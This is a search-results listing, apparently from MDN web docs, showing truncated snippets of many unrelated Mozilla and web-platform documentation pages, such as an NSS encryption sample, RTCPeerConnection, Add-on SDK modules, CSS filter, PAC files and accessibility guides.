*/ /* nspr headers */ #include #include #include #include #include #include #include /* nss headers */ #include #include /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define ciphersize 96 #define blocksize 32 #define cipher_header "-----begin cipher-----" #define cipher_trailer "-----end cipher-----" #define enckey_header "-----begin aeskey ckaid-----" #define enckey_trailer "-----end aeskey ckaid----...
...-" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fp...
...rintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(stderr, "%-20s specify db password [optional]\n\n", "-p "); fprintf(stderr, "%-20s specify db password file [optional]\n\n", "-f "); fprintf(stderr, "%-20s specify noise file name [optional]\n\n", "-z "); fprintf(stderr, "%-21s specify an input file name\n\n", "-i "); fprintf(stderr, "%-21s specify an output file name\n\n", "-o "); fprintf(stderr, "%-7s for encrypt, it takes as an input file and produces\n", "note :"); fprintf(s...
...And 35 more matches
RTCPeerConnection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#...
...4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtcpeerconnection" target="_top"><rect x="151" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device a...
...this has an effect only if the signalingstate is not "closed".getreceivers() the rtcpeerconnection.getreceivers() method returns an array of rtcrtpreceiver objects, each of which represents one rtp receiver.
...And 35 more matches
JavaScript Daemons Management - Archive of obsolete content
it also offers an alternative way to pass the this object to the callback functions (see the "this" problem for details).
...|*| http://www.gnu.org/licenses/gpl-3.0.html |*| \*/ "use strict"; /**************************** * the daemon system * ****************************/ /* the global "daemon" constructor */ function daemon (oowner, ftask, nrate, nlen, finit, fonstart) { if (!(this && this instanceof daemon)) { return; } if (arguments.length < 2) { throw new typeerror("daemon - not enough arguments"); } if (oowner) { this.owner = oowner ...
... **/ daemon.construct = function (aargs) { var odmn = new this.blank(); this.apply(odmn, aargs); return odmn; }; daemon.buildaround = function (octx, nrate, nlen) { if (!octx.perform) { throw new typeerror("you cannot create a daemon around an object devoid of a \"perform\" function"); } return new this(octx, octx.perform, nrate || null, nlen || null, octx.create || null, octx.prepare || null); }; /* warning!
...And 34 more matches
nsIDOMWindowUtils
"basic" is unaccelerated; other types are accelerated.
... constants constant value description modifier_alt 0x0001 getmodifierstate("alt") of the send event will return true if this is specified for amodifiers of send*event() except sendnative*event().
... modifier_control 0x0002 getmodifierstate("control") of the send event will return true if this is specified for amodifiers of send*event() except sendnative*event().
...And 34 more matches
WebIDL bindings
"spidermonkey" interfaces are used to represent objects that are implemented natively by the javascript engine (e.g., typed arrays).
... the signatures of the methods correspond to the signatures for throwing idl methods/getters/setters with an additional trailing "mozilla::dom::callbackobject::exceptionhandling aexceptionhandling" argument, defaulting to ereportexceptions.
... "spidermonkey" interfaces typed array, array buffer, and array buffer view arguments are represented by the objects in typedarray.h.
...And 34 more matches
KeyboardEvent: code values - Web APIs
keyboardevent.code value code firefox chrome 0x0000 "unidentified" "" 0x0001 "escape" "escape" 0x0002 "digit0" "digit0" 0x0003 "digit1" "digit1" 0x0004 "digit2" "digit2" 0x0005 "digit3" "digit3" 0x0006 "digit4" "digit4" 0x0007 "digit5" "digit5" 0x0008 "digit6" "digit6" 0x0009 "digit7" "digit7" 0x000a ...
... "digit8" "digit8" 0x000b "digit9" "digit9" 0x000c "minus" "minus" 0x000d "equal" "equal" 0x000e "backspace" "backspace" 0x000f "tab" "tab" 0x0010 "keyq" "keyq" 0x0011 "keyw" "keyw" 0x0012 "keye" "keye" 0x0013 "keyr" "keyr" 0x0014 "keyt" "keyt" 0x0015 "keyy" "keyy" 0x0016 "keyu" "keyu" 0x0017 "keyi" "keyi" 0x0018 "keyo" "keyo" 0x0019 "keyp" "keyp" 0x001a "bracketleft" "bracketleft" 0x001b "bracketright" "bracketright" 0x001c "enter" "enter" 0x001d "controlleft" "controlleft" 0x001e "keya" "k...
...eya" 0x001f "keys" "keys" 0x0020 "keyd" "keyd" 0x0021 "keyf" "keyf" 0x0022 "keyg" "keyg" 0x0023 "keyh" "keyh" 0x0024 "keyj" "keyj" 0x0025 "keyk" "keyk" 0x0026 "keyl" "keyl" 0x0027 "semicolon" "semicolon" 0x0028 "quote" "quote" 0x0029 "backquote" "backquote" 0x002a "shiftleft" "shiftleft" 0x002b "backslash" "backslash" 0x002c "keyz" "keyz" 0x002d "keyx" "keyx" 0x002e "keyc" "keyc" 0x002f "keyv" "keyv" 0x0030 "keyb" "keyb" 0x0031 "keyn" "keyn" 0x0032 "keym" "keym" 0x0033 "comma" "com...
...And 34 more matches
filter - CSS: Cascading Style Sheets
WebCSSfilter
syntax /* url to svg filter */ filter: url("filters.svg#filter-id"); /* <filter-function> values */ filter: blur(5px); filter: brightness(0.4); filter: contrast(200%); filter: drop-shadow(16px 16px 20px blue); filter: grayscale(50%); filter: hue-rotate(90deg); filter: invert(75%); filter: opacity(25%); filter: saturate(30%); filter: sepia(60%); /* multiple filters */ filter: contrast(175%) brightness(3%); /* use no filter */ filter: none...
... filter: blur(5px) <table class="standard-table"> <thead> <tr> <th style="text-align: left;" scope="col">original image</th> <th style="text-align: left;" scope="col">live example</th> <th style="text-align: left;" scope="col">svg equivalent</th> <th style="text-align: left;" scope="col">static example</th> </tr> </thead> <tbody> <tr> <td><img alt="test_form.jpg" id="img1" class="in...
...ternal default" src="/files/3710/test_form_2.jpg" style="width: 100%;" /></td> <td><img alt="test_form.jpg" id="img2" class="internal default" src="/files/3710/test_form_2.jpg" style="width: 100%;" /></td> <td> <div class="svg-container"> <svg id="img3" overflow="visible" viewbox="0 0 212 161" color-interpolation-filters="srgb"> <filter id="svgblur" x="-5%" y="-5%" width="110%" height="110%"> <fegaussianblur in="sourcegraphic" stddeviation="3.5"/> </filter> <image xlink:href="/files/3710/test_form_2.jpeg" filter="url(#svgblur)" width="212px" height="161px"/> </svg> </div> </td> <td><img alt="test_form_s.jpg" id="img4" class="internal default" src="/files/3711/test_form_2_s.jpg" styl...
...And 34 more matches
panel - Archive of obsolete content
you can load remote html into the panel: var mypanel = require("sdk/panel").panel({ width: 180, height: 180, contenturl: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile" }); mypanel.show(); you can also load html that's been packaged with your add-on, and this is most probably how you will create dialogs.
... to do this, save the html in your add-on's data directory and load it using the data.url() method exported by the self module, like this: var mypanel = require("sdk/panel").panel({ contenturl: require("sdk/self").data.url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
... so you can rewrite the above code like this: var mypanel = require("sdk/panel").panel({ contenturl: "./myfile.html" }); mypanel.show(); panel positioning by default the panel appears in the center of the currently active browser window.
...And 33 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
gomita-san won "most useful upgraded extension" award in mozilla's 2006 "extend firefox" competition for scrapbook, and was runner-up in the "extend firefox 2" contest for firegestures.
... listing 1: content for install.rdf <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- unique id for extension.
... listing 3: additional content for overlay.xul <?xml version="1.0"?> <overlay id="helloworldoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="menu_toolspopup"> <menuitem id="helloworldmenuitem" label="hello, world!" insertbefore="sanitizeseparator" oncommand="window.opendialog('chrome://helloworld/content/clock.xul','clock','chrome,centerscreen,modal');"/> </menupopup> </overlay> phase 2: adding a...
...And 33 more matches
Install script template - Archive of obsolete content
the keys are written according to the specification: http://mozilla.org/projects/plugins/first-install-problem.html and follows the plid specification: http://mozilla.org/projects/plugins/plugin-identifier.html **/ // define some global variables var plugin_file = "npmyplugin.dll"; // this plugin consists of an xpt file because it is scriptable // http://mozilla.org/projects/plugins/scripting-plugins.html var component_file = "npmypluginscriptable.xpt"; var plugin_size = 2000; // (dll file) reserve a little extra so it is not required to update too often var component_size = 10; // (xpi file) reserve a little extra so it is not required to update t...
...oo often var software_name="cult3d mozilla viewer"; // plids (http://mozilla.org/projects/plugins/plugin-identifier.html) are coined by vendors.
... var plid = "@myplugin.com/myplugin,version=5.3"; var version = "5.3.0.0"; var mimetype = "application/x-my-plugin"; var suffix = "my"; var suffix_description = "my plugin files"; var company_name = "mypluginco"; var plugin_description = "my exemplary plugin mine all mine"; // registry constant paths // these will be used when the win32 registry keys are written var hkey_local_machine = "hkey_local_machine"; var hkey_current_user = "hkey_current_user"; var reg_moz_path = "software\\mozillaplugins"; // my own error code in case secondary installation fails var nosecondaryinstall = 1; // error return codes need some memory var err; // error return codes when we try and install to the current browser var errblock1; // error return codes when we try and do a secondary installation...
...And 33 more matches
WAI-ARIA basics - Learn web development
<div class="nav">, but these were problematic, as there was no easy way to easily find a specific page feature such as the main navigation programmatically.
... the initial solution was to add one or more hidden links at the top of the page to link to the navigation (or whatever else), for example: <a href="#hidden" class="hidden">skip to navigation</a> but this is still not very precise, and can only be used when the screenreader is reading from the top of the page.
...html5 provides special input types to render such controls: <input type="date"> <input type="range"> these are not well-supported across browsers, and it is also difficult to style them, making them not very useful for integrating with website designs.
...And 33 more matches
nsIAnnotationService
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: "@mozilla.org/browser/annotation-service;1".
... to use this service, use: var annotationservice = components.classes["@mozilla.org/browser/annotation-service;1"] .getservice(components.interfaces.nsiannotationservice); note: the annotation service is not thread-safe.
... note: use of value "1" is omitted due to it's temporary use as expire_never in bug 319455.
...And 32 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
linear-gradient generator html content <div id="container"> <div id="gradient-container" data-alpha="true"> </div> <div id="controls"> <div class="section"> <div class="title"> active point </div> <div class="property"> <div class="ui-input-slider" data-topic="point-position" data-info="position" data-unit="px" data-min="-1000" data-value="0" data-max="1000" data-sensivity="5"></div> <div id="delete-point" class="button"> delete point </div> </div> <div class="ui-color-picker" data-topic="picker"></div> </div> <div class="section"> <div class="title"> active axis </div> ...
... <div class="property"> <div class="name"> axis unit </div> <div class="ui-dropdown" data-topic="axis-unit" data-selected="1"> <div data-value='px'> pixels (px) </div> <div data-value='%'> percentage (%) </div> </div> <div id="delete-axis" class="button"> delete line </div> </div> <div class="property"> <div class="ui-slider" data-topic="axis-rotation" data-info="rotation" data-min="-180" data-value="0" data-max="180"></div> </div> </div> <div id="tool-section" class="section"> <div class="title"> tool settings </div> ...
... <div class="property"> <div class="name"> alpha background </div> <div id="canvas-bg"></div> <div id="add-axis" class="button"> add line </div> </div> <div id="order"> <div id="gradient-axes"></div> <div id="gradient-order"></div> </div> </div> </div> <div id="output"> <div class="css-property"> <span class="property">background:</span> <span class="value"></span> </div> </div> </div> css content /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; background-color: #fff; display: table; -moz-u...
...And 32 more matches
context-menu - Archive of obsolete content
for example, a good use of the menu would be to show an "edit image" item when the user right-clicks an image in the page.
...the menu that appears should contain the items "back", "forward", "reload", "stop", and so on.
... declarative contexts you can specify some simple, declarative contexts when you create a menu item by setting the context property of the options object passed to its constructor, like this: var cm = require("sdk/context-menu"); cm.item({ label: "my menu item", context: cm.urlcontext("*.mozilla.org") }); constructor description pagecontext() the page context.
...And 31 more matches
page-mod - Archive of obsolete content
the sdk calls these scripts "content scripts".
... for example, the following add-on displays an alert whenever the user visits any page hosted at "mozilla.org": var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'window.alert("page matches ruleset");' }); you can modify the document in your script: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); you can supply the content script(s) in one of two ways: as a string literal, or an array of string literals, assigned to the contentscript option, as above as separate files supplied in your add-on's...
... "data" directory.
...And 31 more matches
ui/button/action - Archive of obsolete content
usage creating buttons to create a button you must give it an id, an icon, and a label: var { actionbutton } = require("sdk/ui/button/action"); var button = actionbutton({ id: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onclick: function(state) { console.log("button '" + state.label + "' was clicked"); } }); by default, the button appears in the firefox toolbar: however, users can move it to the firefox menu panel using the toolbar customization feature: badged buttons new in firefox 36.
... you can add a "badge" to a button using its badge property.
...by default the badge's color is red, but you can set your own color using the badgecolor property, specified as a css <color> value: var { togglebutton } = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button1", label: "my button1", icon: "./icon-16.png", onchange: changed, badge: 0, badgecolor: "#00aaaa" }); function changed(state) { button.badge = state.badge + 1; if (state.checked) { button.badgecolor = "#aa00aa"; } else { button.badgecolor = "#00aaaa"; } } specifying multiple icons you can specify just one icon, or multiple icons in different sizes.
...And 31 more matches
Installer Script - Archive of obsolete content
logcomment("insufficient disk space: " + dirpath); 13.
... logcomment(" required : " + spacerequired + " k"); 14.
... logcomment(" available: " + spaceavailable + " k"); 15.
...And 31 more matches
nsIHTMLEditor
example: aproperty="font", aattribute="color" avalue if aattribute is not null, the value of the attribute.
... example: aproperty="font", aattribute="color", avalue="0x00ffff" addinsertionlistener() add listener for insertion override.
...if aiscreatedhidden is true, the class "hidden" is added to the created element.
...And 31 more matches
Window.open() - Web APIs
WebAPIWindowopen
if the empty string ("") is specified as url, a blank page is opened into the targeted browsing context.
... windowfeatures optional a domstring containing a comma-separated list of window features given with their corresponding values in the form "name=value".
... examples var windowobjectreference; var windowfeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; function openrequestedpopup() { windowobjectreference = window.open("http://www.cnn.com/", "cnn_windowname", windowfeatures); } var windowobjectreference; function openrequestedpopup() { windowobjectreference = window.open( "http://www.domainname.ext/path/imagefile.png", "descriptivewindowname", "resizable,scroll...
...And 31 more matches
Profiling with the Firefox Profiler
tip: threads that are annotated with "[default]" are in the parent (aka "ui", aka "browser chrome", aka "main") process and those annotated with "[tab]" are in the web content (aka "child") processes.
... tip: long-running tasks in the parent process will block all input or drawing with the browser ui (aka "ui jank") whereas long-running tasks in the content process will block interactivity with the page but still allowing the user to pan and zoom around thanks to apz.
...as you zoom in on ranges, breadcrumbs are created allowing you to easily navigate back to previously-selected ranges or the entire profile (denoted as "full range").
...And 30 more matches
EncDecMAC using token object - sample 3
encdecmac using token object example: <h2 id="nss_sample_code_3_hashing.">nss sample code 3: enc/dec/mac using token object id.</h2> <p class="summary">computes the hash of a file and saves it to another file, illustrates the use of nss message apis.</p> <pre class="brush: cpp"> /* this source code form is subject to the terms of the mozilla public * license, v.
...*/ /* nspr headers */ #include #include #include #include #include #include #include /* nss headers */ #include #include /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define ciphersize 96 #define blocksize 32 #define cipher_header "-----begin cipher-----" #define cipher_trailer "-----end cipher-----" #define enckey_header "-----begin aeskey ckaid-----" #define enckey_trailer "-----end aeskey ckaid-----" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header...
... "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(stderr, "%-20s specify db password [optional]\n\n", "-p "); fprintf(stderr, "%-20s specify db password file [optional]\n\n", "-f "); fprintf(stderr, "%-20...
...And 30 more matches
Places Developer Guide
bookmarks the toolkit bookmarks service is nsinavbookmarksservice: var bookmarks = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); this service provides methods for adding, editing and deleting items in the bookmarks collection.
... nsinavbookmarksservice.unfiledbookmarksfolder - items that have been "starred", but not places in any folder.
...var bookmarkuri = cc["@mozilla.org/network/io-service;1"] .getservice(ci.nsiioservice) .newuri("http://www.mozilla.com", null, null); var bookmarkid = bookmarks.insertbookmark( bookmarks.toolbarfolder, // the id of the folder the bookmark will be placed in.
...And 30 more matches
Mozilla internal string guide
nsliteral[c]string which should rarely be constructed explicitly but usually through the ""_ns and u""_ns user-defined string literals.
... nssubstringtuple - created via string concatenation nsdependentsubstring - created through substring nspromiseflatstring - created through promiseflatstring() nsliteral[c]string - created through the ""_ns and u""_ns user-defined literals of course, there are times when it is necessary to reference these string classes in your code, but as a general rule they should be avoided.
... an example: const nsastring& str = getsomestring(); nsastring::const_iterator start, end; str.beginreading(start); str.endreading(end); constexpr auto valueprefix = u"value="_ns; if (findinreadable(valueprefix, start, end)) { // end now points to the character after the pattern valuestart = end; } checking for memory allocation failure the string classes now use infallible memory allocation, so you do not need to check for success when allocating/resizing "normal" strings.
...And 30 more matches
Introduction to XPCOM for the DOM
i learned c++ by reading "c++ primer" from stanley lippman and josee lajoie, then experimenting on the dom code.
...furthermore, a class can be de declared to be "abstract" if it declares some methods but does not implement them entirely.
... pushing this concept to its maximum, a class can be "purely virtual" if it declares methods without implementing any of them.
...And 30 more matches
Example and tutorial: Simple synth keyboard - Web APIs
<div class="container"> <div class="keyboard"></div> </div> the <div> named "container" is the scrollable box that lets the keyboard be scrolled horiontally if it's too wide for the available space.
... the keys themselves will be inserted into the block of class "keyboard".
...then we establish a box that will be presented on the left side of the bar and place a label and an <input> element of type "range".
...And 30 more matches
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnextid
this element has the distinction of being the first element to become one of the "lost tags" by being eliminated from the official public dtd's of the html versions.
... html "0.a" - from the beginning through january 10, 1991 this tag had not been invented as yet, so no examples are found from this period.
... html "0.c" - from january 23, 1991 though november 23, 1992 this early version of html introduced <nextid> in a non-sgml compliant form that simply used the numeric value alone as an "attribute." html "0.d" - from november 26, 1992 through may 24, 1993 during this span, next and the oldest surviving dtd's show <nextid> to take only a number for a value of its newly-introduced attribute n.
...And 30 more matches
Proxy Auto-Configuration (PAC) file - HTTP
examples isplainhostname("www.mozilla.org") // false isplainhostname("www") // true dnsdomainis() syntax dnsdomainis(host, domain) parameters host is the hostname from the url.
... examples dnsdomainis("www.mozilla.org", ".mozilla.org") // true dnsdomainis("www", ".mozilla.org") // false localhostordomainis() syntax localhostordomainis(host, hostdom) parameters host the hostname from the url.
... examples localhostordomainis("www.mozilla.org" , "www.mozilla.org") // true (exact match) localhostordomainis("www" , "www.mozilla.org") // true (hostname match, domain not specified) localhostordomainis("www.google.com" , "www.mozilla.org") // false (domain name mismatch) localhostordomainis("home.mozilla.org", "www.mozilla.org") // false (hostname mismatch) isresolvable() syntax isresolvable(host) parameters host is the hostname from the url.
...And 30 more matches
Advanced form styling - Learn web development
previous overview: forms next in this article, we will see what can be done with css to style the types of form control that are more difficult to style — the "bad" and "ugly" categories.
... to recap what we said in the previous article, we have: the bad: some elements are more difficult to style, requiring more complex css or some more specific tricks: checkboxes and radio buttons <input type="search"> the ugly: some elements can't be styled thoroughly using css.
... <input type="color"> date-related controls such as <input type="datetime-local"> <input type="range"> <input type="file"> <progress> and <meter> let's first talk about the appearance property, which is pretty useful for making all of the above more stylable.
...And 29 more matches
Content Scripts - Archive of obsolete content
there are five basic principles: the add-on's main code, including "main.js" and other modules in "lib", can use the sdk high-level and low-level apis, but can't access web content directly content scripts can't use the sdk's apis (no access to globals exports, require) but can access web content sdk apis that use content scripts, like page-mod and tabs, provide functions that enable the add-on's main code to load content scripts into web pages content scripts ...
...can be loaded in as strings, but are more often stored as separate files under the add-on's "data" directory.
... jpm doesn't make a "data" directory by default, so you must add it and put your content scripts in there.
...And 28 more matches
HTML: A good basis for accessibility - Learn web development
the goal isn't "all or nothing." however, — every improvement you can make will help the cause of accessibility.
...using presentational html and line breaks, something like the following: <font size="7">my heading</font> <br><br> this is the first section of my document.
...you to read <br><br> <font size="5">my subheading</font> <br><br> this is the first subsection of my document.
...And 28 more matches
HTML: A good basis for accessibility - Learn web development
the goal isn't "all or nothing." however, — every improvement you can make will help the cause of accessibility.
...using presentational html and line breaks, something like the following: <font size="7">my heading</font> <br><br> this is the first section of my document.
...you to read <br><br> <font size="5">my subheading</font> <br><br> this is the first subsection of my document.
...And 28 more matches
Debugging on Mac OS X
at this time, developers can obtain a hardened runtime build with the com.apple.security.get-task-allow entitlement allowed by submitting a try build and downloading the dmg generated by the "rpk" shippable build job.
...to work around that, the steps below have you initialize the project outside the mozilla source tree, close the project, copy the .xcodeproj project "file" into the source tree, and then reopen the project to finish setting it up.
...select the "cross-platform" tab then under the "other" template group select the "empty" project type.
...And 28 more matches
IME handling guide
if ime is available on focused elements, we call that state "enabled".
... if ime is not fully available(i.e., user cannot enable ime), we call this state "disabled".
... if ime is enabled but users use direct input mode (e.g., for inputting latin characters), we call it "ime is closed".
...And 28 more matches
Using the Resource Timing API - Web APIs
function calculate_load_times() { // check performance support if (performance === undefined) { console.log("= calculate load times: performance not supported"); return; } // get a list of "resource" performance entries var resources = performance.getentriesbytype("resource"); if (resources === undefined || resources.length <= 0) { console.log("= calculate load times: there are no `resource` performance records"); return; } console.log("= calculate load times"); for (var i=0; ...
...i < resources.length; i++) { console.log("== resource[" + i + "] - " + resources[i].name); // redirect time var t = resources[i].redirectend - resources[i].redirectstart; console.log("...
... redirect time = " + t); // dns time t = resources[i].domainlookupend - resources[i].domainlookupstart; console.log("...
...And 28 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
4 block-level elements beginner, development, guide, html, html5, web html (hypertext markup language) elements historically were categorized as either "block-level" elements or "inline-level" elements.
... by default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block." this article helps to explain what this means.
... 89 <details>: the details disclosure element disclosure box, disclosure widget, element, html, html interactive elements, reference, web, details the html details element (<details>) creates a disclosure widget in which information is visible only when the widget is toggled into an "open" state.
...And 28 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
step 1: use services.jsm if you load one of mozilla's internal jsm files, for example services.jsm, you'll do so via privileged javascript code like this: components.utils.import("resource://gre/modules/services.jsm"); from here on out, it is assumed you've imported services.jsm somewhere at the top of whatever file you're in and will be using it in all code examples.
...you can use chrome:// uris with "components.utils.import()" just fine; in fact you've been able to since firefox 4.
... step 2a: load your jsm from chrome:// now with that preface out of the way, this part is easy: drop support for firefox 3.x if you haven't already, move your jsm files to wherever you've got your chrome mapping to for your xul overlay and/or windows, import your files from that new chrome mapped path instead of the old resource one, and remove your "resource" line from your chrome.manifest file.
...And 27 more matches
Reference - Archive of obsolete content
for example, "script" and "program" are synonymous.
... so are "current object" and "context object".
...--nickolay 18:40, 16 july 2006 (pdt) js 1.2 and gecko 1.8 per the fix for bug 255895, "javascript1.2" values for the script's language attribute no longer work, e.g.
...And 27 more matches
Mozilla DOM Hacking Guide
it lies at the heart of the famous "xpcdom landing" that happened in may.
...by "correct behavior", i mean "the intended behavior with respect to the specification or de facto standard".
...xpconnect will "wrap" the argument in a wrapper that will be of the type expected by our c++ function.
...And 27 more matches
Web Console remoting - Firefox Developer Tools
for example: ["pageerror", "consoleapi", "networkactivity", "fileactivity"] the web console actor does not start any listeners by default.
... protocol packets look as follows: { "to": "root", "type": "listtabs" } { "from": "root", "consoleactor": "conn0.console9", "selected": 2, "tabs": [ { "actor": "conn0.tab2", "consoleactor": "conn0.console7", "title": "", "url": "https://tbpl.mozilla.org/?tree=fx-team" }, // ...
... startlisteners(listeners, onresponse) the new startlisteners packet: { "to": "conn0.console9", "type": "startlisteners", "listeners": [ "pageerror", "consoleapi", "networkactivity", "fileactivity" ] } the reply is: { "startedlisteners": [ "pageerror", "consoleapi", "networkactivity", "fileactivity" ], "nativeconsoleapi": true, "from": "conn0.console9" } the reply tells which listeners were started and it includes a fl...
...And 27 more matches
Web accessibility for seizures and physical reactions - Accessibility
photosensitive epilepsy is actually a kind of "reflex epilepsy"—seizures occurring in response to a trigger.
... the fact that static images may cause seizures and other disorders is documented in such articles as “gamma oscillations and photosensitive epilepsy”, where it is noted “certain visual images, even in the absence of motion or flicker, can trigger seizures in patients with photosensitive epilepsy” the epilepsy foundation, in its article, "shedding light on photosensitivity, one of epilepsy's most complex conditions" talks about static images and patterns.
... "static or moving patterns of discernable light and dark stripes have the same effect as flashing lights because of the alternation of dark and bright areas." the epilepsy foundation of america working group is able to "quantify" the problem a little.
...And 27 more matches
simple-prefs - Archive of obsolete content
usage defining and initializing preferences to define preferences and give them initial values, add a new json array called preferences to your package.json file, and give it one entry for each preference: { "fullname": "example add-on", ...
... "preferences": [{ "name": "somepreference", "title": "some preference title", "description": "some short description for the preference", "type": "string", "value": "this is the default string value" }, { "description": "how many of them we have.", "name": "myinteger", "type": "integer", "value": 8, "title": "how many?" }] } each preference is defined by a group of attributes.
... attribute description type the type of preference, as defined in the "preference types" section below.
...And 26 more matches
Theme changes in Firefox 2 - Archive of obsolete content
browser/safebrowsing/dim.png new file; this is a graphic overlaid on top of the contents of the window to "dim" it when the safe browsing warning window is displayed.
... browser/safebrowsing/tail.png new file; this is the "tail" of the talk-bubble style window used to indicate that a site may be fraudulent.
... global/alltabs-box-bkgnd.png new file; the background for the "all tabs" drop-down menu at the right side of the tab bar.
...And 26 more matches
Gecko info for Windows accessibility vendors
indicates that the absence of state_checked should be spoken as // "unchecked", and that event_state_change will be fired in the event that the // checkbox is toggled.
... positional descriptions are supported the accdescription field is overriden for the following roles: role_listitem, role_menuitem, role_radiobutton, role_pagetab and role_outlineitem for everything other than outline item, the positional description is in the form "n of m" where n is an integer indicating the position within other similar objects in a group, and m represents the number of objects in that group.
... for example, "3 of 5" indicates the 3rd object out of 5.
...And 26 more matches
WebRequest.jsm
usage to import webrequest, use code like: let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); the webrequest object has the following properties, each of which corresponds to a specific stage in executing a web request: onbeforerequest onbeforesendheaders onsendheaders onheadersreceived onresponsestarted oncompleted each of these objects defines two functions: addlistener(callback, filter, opt_extrainfospec) removelistener(callbac...
... in particular, "blocking" may be passed to several event types, and will make the event dispatch synchronous, so the browser will wait for the event listener to return before continuing with the request.
... to specify match patterns, first import the "matchpattern.jsm" module, then construct a matchpattern.
...And 26 more matches
Bytecode Descriptions
this is how we implement typeof step 2, making typeof nonexistingvariable return "undefined" instead of throwing a referenceerror.
... in a global scope: typeof x compiles to getgname "x"; typeof.
... typeof (0, x) compiles to getgname "x"; typeofexpr.
...And 26 more matches
JSAPI User Guide
c++ code accesses spidermonkey via the jsapi, by including the header "jsapi.h".
...whenever javascript code does something like window.open("http://www.mozilla.org/"), it is accessing a global property, in this case window.
... #include "jsapi.h" using namespace js; // the class of the global object.
...And 26 more matches
nsIAccessibleRole
the role is used by xul:menubar or role="menubar".
...the role is used by xul:browsermessage, role="alert", xforms:message.
...it is used for role="menu".
...And 26 more matches
nsIFile
an alternate form operates on characters strings encoded in the "native" charset.
...therefore, the utf-16 forms are scriptable, but the "native methods" are not.
... to create an nsifile from a path you can use fileutils.jsm: var fileutils = cu.import("resource://gre/modules/fileutils.jsm").fileutils var nsifile = new fileutils.file( filename ) note: nsilocalfile was merged with this interface in gecko 14.
...And 26 more matches
widget - Archive of obsolete content
usage "widgets" are small pieces of content that live in the firefox 4 add-on bar.
... for example, this widget contains an image, so it looks like a simple icon: require("sdk/widget").widget({ id: "mozilla-icon", label: "my mozilla widget", contenturl: "http://www.mozilla.org/favicon.ico" }); you can make contenturl point to an html or icon file which you have packaged inside your add-on.
